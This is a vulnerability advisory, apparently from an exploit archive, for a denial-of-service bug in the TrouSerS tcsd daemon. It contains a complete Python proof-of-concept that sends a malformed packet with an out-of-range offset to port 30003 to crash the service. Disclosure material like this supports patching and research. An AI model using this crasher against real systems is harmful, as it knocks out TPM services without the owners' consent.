TrouSerS Denial Of Service Vulnerability

2012-11-23 / 2012-12-04
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# crash_tcsd.py # Copyright (c) 2012 Andy Lutomirski. All rights reserved. # # Permission is granted to anyone to copy and redistribute this file verbatim. # Permission is *not* granted to distribute modified copies or derivative works. import struct import socket import time # UnloadBlob_PCR_EVENT also appears buggy. crasher = struct.pack('>IIIIIII', 28, # packet_size = sizeof(tcsd_packet_hdr) 11, # ordinal: LoadKeyByBlob 1, # num_parms = 1 (so first getData doesn't bail) 0, # type_size = 0 0x80000000, # type_offset is off in lala land 0, # parm_size = 0 (skip checking) 28, # parm_offset: see getTCSDPacket ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) s.connect(('127.0.0.1', 30003)) s.send(crasher) s.shutdown(socket.SHUT_WR) s.close()


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